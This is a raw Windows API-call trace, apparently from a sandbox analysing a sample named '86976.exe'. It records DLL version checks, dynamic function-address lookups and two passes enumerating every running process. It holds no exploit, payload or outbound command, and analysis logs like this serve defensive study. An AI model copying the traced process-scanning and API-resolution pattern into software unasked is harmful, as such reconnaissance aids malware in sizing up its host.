	[0119.327] GetFileVersionInfoA (in: lptstrFilename="COMCTL32.DLL", dwHandle=0x0, dwLen=0x734, lpData=0x728f7cc | out: lpData=0x728f7cc) returned 1
	[0119.327] VerQueryValueA (in: pBlock=0x728f7cc, lpSubBlock="\\", lplpBuffer=0x19f7e8, puLen=0x19f7e4 | out: lplpBuffer=0x19f7e8*=0x728f7f4, puLen=0x19f7e4) returned 1
	[0119.327] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="•", cchWideChar=1, lpMultiByteStr=0x19e7a8, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\x95÷\x19", lpUsedDefaultChar=0x0) returned 1
	[0119.328] GetVersionExA (in: lpVersionInformation=0x19f828*(dwOSVersionInfoSize=0x94, dwMajorVersion=0x50c628, dwMinorVersion=0x4014df, dwBuildNumber=0x19f860, dwPlatformId=0x50c628, szCSDVersion="~\x15@") | out: lpVersionInformation=0x19f828*(dwOSVersionInfoSize=0x94, dwMajorVersion=0x6, dwMinorVersion=0x2, dwBuildNumber=0x23f0, dwPlatformId=0x2, szCSDVersion="")) returned 1
	[0119.328] GetFileVersionInfoSizeA (in: lptstrFilename="COMCTL32.DLL", lpdwHandle=0x19f7f0 | out: lpdwHandle=0x19f7f0) returned 0x734
	[0119.328] GetFileVersionInfoA (in: lptstrFilename="COMCTL32.DLL", dwHandle=0x0, dwLen=0x734, lpData=0x7290410 | out: lpData=0x7290410) returned 1
	[0119.328] VerQueryValueA (in: pBlock=0x7290410, lpSubBlock="\\", lplpBuffer=0x19f7e8, puLen=0x19f7e4 | out: lplpBuffer=0x19f7e8*=0x7290438, puLen=0x19f7e4) returned 1
	[0119.328] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="•", cchWideChar=1, lpMultiByteStr=0x19e7a8, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\x95÷\x19", lpUsedDefaultChar=0x0) returned 1
	[0119.328] GetVersionExA (in: lpVersionInformation=0x19f828*(dwOSVersionInfoSize=0x94, dwMajorVersion=0x402515, dwMinorVersion=0x50c5cc, dwBuildNumber=0x40251d, dwPlatformId=0x4e6732, szCSDVersion="\x07") | out: lpVersionInformation=0x19f828*(dwOSVersionInfoSize=0x94, dwMajorVersion=0x6, dwMinorVersion=0x2, dwBuildNumber=0x23f0, dwPlatformId=0x2, szCSDVersion="")) returned 1
	[0119.328] GetFileVersionInfoSizeA (in: lptstrFilename="COMCTL32.DLL", lpdwHandle=0x19f7f0 | out: lpdwHandle=0x19f7f0) returned 0x734
	[0119.328] GetFileVersionInfoA (in: lptstrFilename="COMCTL32.DLL", dwHandle=0x0, dwLen=0x734, lpData=0x72917a0 | out: lpData=0x72917a0) returned 1
	[0119.328] VerQueryValueA (in: pBlock=0x72917a0, lpSubBlock="\\", lplpBuffer=0x19f7e8, puLen=0x19f7e4 | out: lplpBuffer=0x19f7e8*=0x72917c8, puLen=0x19f7e4) returned 1
	[0119.328] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="•", cchWideChar=1, lpMultiByteStr=0x19e7a8, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\x95÷\x19", lpUsedDefaultChar=0x0) returned 1
	[0119.336] RtlLockHeap (Heap=0x230000) returned 1
	[0119.336] RtlIsValidHandle (HandleTable=0x76ac1600, Handle=0x73d0090) returned 1
	[0119.336] RtlRestoreLastWin32Error () returned 0x0
	[0119.336] GetTextExtentPoint32A (in: hdc=0xa0100d0, lpString="0", c=1, psizl=0x19fa74 | out: psizl=0x19fa74) returned 1
	[0119.337] FlatSB_SetScrollProp (param_1=0x10270, index=0x100, newValue=0x0, param_4=0) returned 0
	[0119.337] FlatSB_SetScrollProp (param_1=0x10270, index=0x40, newValue=0xffffff, param_4=0) returned 0
	[0119.337] FlatSB_SetScrollInfo (param_1=0x10270, code=1, psi=0x19f046, fRedraw=1) returned 0
	[0119.337] FlatSB_SetScrollProp (param_1=0x10270, index=0x200, newValue=0x0, param_4=0) returned 0
	[0119.337] FlatSB_SetScrollProp (param_1=0x10270, index=0x80, newValue=0xffffff, param_4=0) returned 0
	[0119.337] FlatSB_SetScrollInfo (param_1=0x10270, code=0, psi=0x19f046, fRedraw=1) returned 0
	[0119.338] FlatSB_SetScrollProp (param_1=0x10270, index=0x100, newValue=0x0, param_4=0) returned 0
	[0119.338] FlatSB_SetScrollProp (param_1=0x10270, index=0x40, newValue=0xffffff, param_4=0) returned 0
	[0119.338] FlatSB_SetScrollInfo (param_1=0x10270, code=1, psi=0x19f046, fRedraw=1) returned 0
	[0119.338] FlatSB_SetScrollProp (param_1=0x10270, index=0x200, newValue=0x0, param_4=0) returned 0
	[0119.338] FlatSB_SetScrollProp (param_1=0x10270, index=0x80, newValue=0xffffff, param_4=0) returned 0
	[0119.338] FlatSB_SetScrollInfo (param_1=0x10270, code=0, psi=0x19f046, fRedraw=1) returned 0
	[0119.338] FreeResource (hResData=0x10ab6d0) returned 0
	[0119.343] RectVisible (hdc=0xa0100d0, lprect=0x19f894) returned 0
	[0119.343] NtUserEndPaint () returned 0x1
	[0119.343] GetProcAddressForCaller () returned 0x77697510
	[0119.343] GetProcAddressForCaller () returned 0x776b4410
	[0119.343] GetProcAddressForCaller () returned 0x776b44c0
	[0119.343] GetProcAddressForCaller () returned 0x776b41f0
	[0119.343] GetProcAddressForCaller () returned 0x776b4560
	[0119.343] GetProcAddressForCaller () returned 0x776b4b10
	[0119.343] GetProcAddressForCaller () returned 0x7768ed60
	[0119.343] GetProcAddressForCaller () returned 0x7768c8e0
	[0119.343] GetProcAddressForCaller () returned 0x7768ee30
	[0119.343] GetProcAddressForCaller () returned 0x7768c9b0
	[0119.343] GetProcAddressForCaller () returned 0x77694a90
	[0119.343] GetProcAddressForCaller () returned 0x77692430
	[0119.344] GetProcAddressForCaller () returned 0x776b47a0
	[0119.344] GetProcAddressForCaller () returned 0x776b4950
	[0119.344] GetProcAddressForCaller () returned 0x776b4890
	[0119.344] GetProcAddressForCaller () returned 0x776b4a30
	[0119.344] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x484
	[0119.349] Process32First (in: hSnapshot=0x484, lppe=0x19fb08 | out: lppe=0x19fb08*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1
	[0119.350] Process32Next (in: hSnapshot=0x484, lppe=0x19fb08 | out: lppe=0x19fb08*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x67, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1
	[0119.351] Process32Next (in: hSnapshot=0x484, lppe=0x19fb08 | out: lppe=0x19fb08*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x108, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1
	[0119.352] Process32Next (in: hSnapshot=0x484, lppe=0x19fb08 | out: lppe=0x19fb08*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x150, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x148, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1
	[0119.353] Process32Next (in: hSnapshot=0x484, lppe=0x19fb08 | out: lppe=0x19fb08*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x194, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x148, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1
	[0119.354] Process32Next (in: hSnapshot=0x484, lppe=0x19fb08 | out: lppe=0x19fb08*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x19c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x18c, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1
	[0119.354] Process32Next (in: hSnapshot=0x484, lppe=0x19fb08 | out: lppe=0x19fb08*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x1cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x18c, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1
	[0119.355] Process32Next (in: hSnapshot=0x484, lppe=0x19fb08 | out: lppe=0x19fb08*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x1e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x194, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1
	[0119.356] Process32Next (in: hSnapshot=0x484, lppe=0x19fb08 | out: lppe=0x19fb08*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x1ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x194, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1
	[0119.357] Process32Next (in: hSnapshot=0x484, lppe=0x19fb08 | out: lppe=0x19fb08*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x248, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0x1e4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0119.358] Process32Next (in: hSnapshot=0x484, lppe=0x19fb08 | out: lppe=0x19fb08*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x268, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1e4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0119.359] Process32Next (in: hSnapshot=0x484, lppe=0x19fb08 | out: lppe=0x19fb08*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x2c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x1cc, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1
	[0119.360] Process32Next (in: hSnapshot=0x484, lppe=0x19fb08 | out: lppe=0x19fb08*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x324, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0x1e4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0119.361] Process32Next (in: hSnapshot=0x484, lppe=0x19fb08 | out: lppe=0x19fb08*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x348, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x1e4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0119.362] Process32Next (in: hSnapshot=0x484, lppe=0x19fb08 | out: lppe=0x19fb08*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x360, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x1e4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0119.363] Process32Next (in: hSnapshot=0x484, lppe=0x19fb08 | out: lppe=0x19fb08*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x378, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x46, th32ParentProcessID=0x1e4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0119.364] Process32Next (in: hSnapshot=0x484, lppe=0x19fb08 | out: lppe=0x19fb08*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x384, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0x1e4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0119.365] Process32Next (in: hSnapshot=0x484, lppe=0x19fb08 | out: lppe=0x19fb08*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x264, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x17, th32ParentProcessID=0x1e4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0119.365] Process32Next (in: hSnapshot=0x484, lppe=0x19fb08 | out: lppe=0x19fb08*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x2a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1e4, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1
	[0119.366] Process32Next (in: hSnapshot=0x484, lppe=0x19fb08 | out: lppe=0x19fb08*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x448, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1e4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0119.367] Process32Next (in: hSnapshot=0x484, lppe=0x19fb08 | out: lppe=0x19fb08*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x45c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x19, th32ParentProcessID=0x1e4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0119.368] Process32Next (in: hSnapshot=0x484, lppe=0x19fb08 | out: lppe=0x19fb08*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x4e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x1e4, pcPriClassBase=8, dwFlags=0x0, szExeFile="OfficeClickToRun.exe")) returned 1
	[0119.369] Process32Next (in: hSnapshot=0x484, lppe=0x19fb08 | out: lppe=0x19fb08*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x608, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x1e4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0119.370] Process32Next (in: hSnapshot=0x484, lppe=0x19fb08 | out: lppe=0x19fb08*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x7a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x378, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1
	[0119.371] Process32Next (in: hSnapshot=0x484, lppe=0x19fb08 | out: lppe=0x19fb08*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x7b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x378, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1
	[0119.372] Process32Next (in: hSnapshot=0x484, lppe=0x19fb08 | out: lppe=0x19fb08*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x5dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2c, th32ParentProcessID=0x4ec, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1
	[0119.373] Process32Next (in: hSnapshot=0x484, lppe=0x19fb08 | out: lppe=0x19fb08*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x818, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x248, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1
	[0119.374] Process32Next (in: hSnapshot=0x484, lppe=0x19fb08 | out: lppe=0x19fb08*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x9c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2a, th32ParentProcessID=0x248, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1
	[0119.375] Process32Next (in: hSnapshot=0x484, lppe=0x19fb08 | out: lppe=0x19fb08*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0xb7c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1c, th32ParentProcessID=0x248, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1
	[0119.376] Process32Next (in: hSnapshot=0x484, lppe=0x19fb08 | out: lppe=0x19fb08*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0xba8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x5dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="beds rice judgment op.exe")) returned 1
	[0119.377] Process32Next (in: hSnapshot=0x484, lppe=0x19fb08 | out: lppe=0x19fb08*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x8b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x5dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="imperial oils pest.exe")) returned 1
	[0119.378] Process32Next (in: hSnapshot=0x484, lppe=0x19fb08 | out: lppe=0x19fb08*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x42c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x5dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="collaboration.exe")) returned 1
	[0119.378] Process32Next (in: hSnapshot=0x484, lppe=0x19fb08 | out: lppe=0x19fb08*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x2dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x5dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="flood-save-circuits.exe")) returned 1
	[0119.379] Process32Next (in: hSnapshot=0x484, lppe=0x19fb08 | out: lppe=0x19fb08*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x620, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x5dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="tissue.exe")) returned 1
	[0119.380] Process32Next (in: hSnapshot=0x484, lppe=0x19fb08 | out: lppe=0x19fb08*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x274, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x5dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="draw_edited.exe")) returned 1
	[0119.381] Process32Next (in: hSnapshot=0x484, lppe=0x19fb08 | out: lppe=0x19fb08*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x5c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x5dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="endorsed-author.exe")) returned 1
	[0119.382] Process32Next (in: hSnapshot=0x484, lppe=0x19fb08 | out: lppe=0x19fb08*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0xaf4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x5dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="verifytorturelgspatial.exe")) returned 1
	[0119.383] Process32Next (in: hSnapshot=0x484, lppe=0x19fb08 | out: lppe=0x19fb08*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0xafc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x5dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="extraordinary_nasdaq_electro.exe")) returned 1
	[0119.384] Process32Next (in: hSnapshot=0x484, lppe=0x19fb08 | out: lppe=0x19fb08*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0xaec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x5dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="outlet-publication-assignments-essentials.exe")) returned 1
	[0119.385] Process32Next (in: hSnapshot=0x484, lppe=0x19fb08 | out: lppe=0x19fb08*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0xb24, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x5dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="advantages.exe")) returned 1
	[0119.386] Process32Next (in: hSnapshot=0x484, lppe=0x19fb08 | out: lppe=0x19fb08*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x908, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x5dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="enclosedreservespringfieldhour.exe")) returned 1
	[0119.386] Process32Next (in: hSnapshot=0x484, lppe=0x19fb08 | out: lppe=0x19fb08*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0xad4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x5dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="chester-theft-ye.exe")) returned 1
	[0119.387] Process32Next (in: hSnapshot=0x484, lppe=0x19fb08 | out: lppe=0x19fb08*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0xa1c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x5dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="manufactured_engaged.exe")) returned 1
	[0119.388] Process32Next (in: hSnapshot=0x484, lppe=0x19fb08 | out: lppe=0x19fb08*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x990, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x5dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="israel-again-maryland.exe")) returned 1
	[0119.389] Process32Next (in: hSnapshot=0x484, lppe=0x19fb08 | out: lppe=0x19fb08*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0xa34, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x5dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="handheld_co.exe")) returned 1
	[0119.390] Process32Next (in: hSnapshot=0x484, lppe=0x19fb08 | out: lppe=0x19fb08*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x6ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x5dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="extreme_disposition_griffin.exe")) returned 1
	[0119.391] Process32Next (in: hSnapshot=0x484, lppe=0x19fb08 | out: lppe=0x19fb08*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0xb40, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x5dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="neural expand cancellation.exe")) returned 1
	[0119.391] Process32Next (in: hSnapshot=0x484, lppe=0x19fb08 | out: lppe=0x19fb08*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x390, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x248, pcPriClassBase=8, dwFlags=0x0, szExeFile="backgroundTaskHost.exe")) returned 1
	[0119.392] Process32Next (in: hSnapshot=0x484, lppe=0x19fb08 | out: lppe=0x19fb08*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x67c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x5dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="milwaukeemoscow.exe")) returned 1
	[0119.393] Process32Next (in: hSnapshot=0x484, lppe=0x19fb08 | out: lppe=0x19fb08*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x82c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x5dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="regarding weights.exe")) returned 1
	[0119.394] Process32Next (in: hSnapshot=0x484, lppe=0x19fb08 | out: lppe=0x19fb08*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x994, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x5dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="boom_eye_suppose_sides.exe")) returned 1
	[0119.395] Process32Next (in: hSnapshot=0x484, lppe=0x19fb08 | out: lppe=0x19fb08*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x168, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x5dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="opponent-adjustment-textbook.exe")) returned 1
	[0119.396] Process32Next (in: hSnapshot=0x484, lppe=0x19fb08 | out: lppe=0x19fb08*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0xdec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x324, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1
	[0119.397] Process32Next (in: hSnapshot=0x484, lppe=0x19fb08 | out: lppe=0x19fb08*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0xee8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x1e4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0119.397] Process32Next (in: hSnapshot=0x484, lppe=0x19fb08 | out: lppe=0x19fb08*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x4f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1e4, pcPriClassBase=8, dwFlags=0x0, szExeFile="sppsvc.exe")) returned 1
	[0119.398] Process32Next (in: hSnapshot=0x484, lppe=0x19fb08 | out: lppe=0x19fb08*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x2f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x378, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1
	[0119.399] Process32Next (in: hSnapshot=0x484, lppe=0x19fb08 | out: lppe=0x19fb08*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0xcd0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1d, th32ParentProcessID=0xe6c, pcPriClassBase=8, dwFlags=0x0, szExeFile="86976.exe")) returned 1
	[0119.400] Process32Next (in: hSnapshot=0x484, lppe=0x19fb08 | out: lppe=0x19fb08*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0xcd0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1d, th32ParentProcessID=0xe6c, pcPriClassBase=8, dwFlags=0x0, szExeFile="86976.exe")) returned 0
	[0119.401] CloseHandle (hObject=0x484) returned 1
	[0119.403] Process32First (in: hSnapshot=0x484, lppe=0x19fb08 | out: lppe=0x19fb08*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1
	[0119.404] Process32Next (in: hSnapshot=0x484, lppe=0x19fb08 | out: lppe=0x19fb08*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x67, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1
	[0119.405] Process32Next (in: hSnapshot=0x484, lppe=0x19fb08 | out: lppe=0x19fb08*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x108, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1
	[0119.406] Process32Next (in: hSnapshot=0x484, lppe=0x19fb08 | out: lppe=0x19fb08*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x150, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x148, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1
	[0119.407] Process32Next (in: hSnapshot=0x484, lppe=0x19fb08 | out: lppe=0x19fb08*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x194, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x148, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1
	[0119.408] Process32Next (in: hSnapshot=0x484, lppe=0x19fb08 | out: lppe=0x19fb08*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x19c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x18c, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1
	[0119.409] Process32Next (in: hSnapshot=0x484, lppe=0x19fb08 | out: lppe=0x19fb08*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x1cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x18c, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1
	[0119.409] Process32Next (in: hSnapshot=0x484, lppe=0x19fb08 | out: lppe=0x19fb08*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x1e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x194, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1
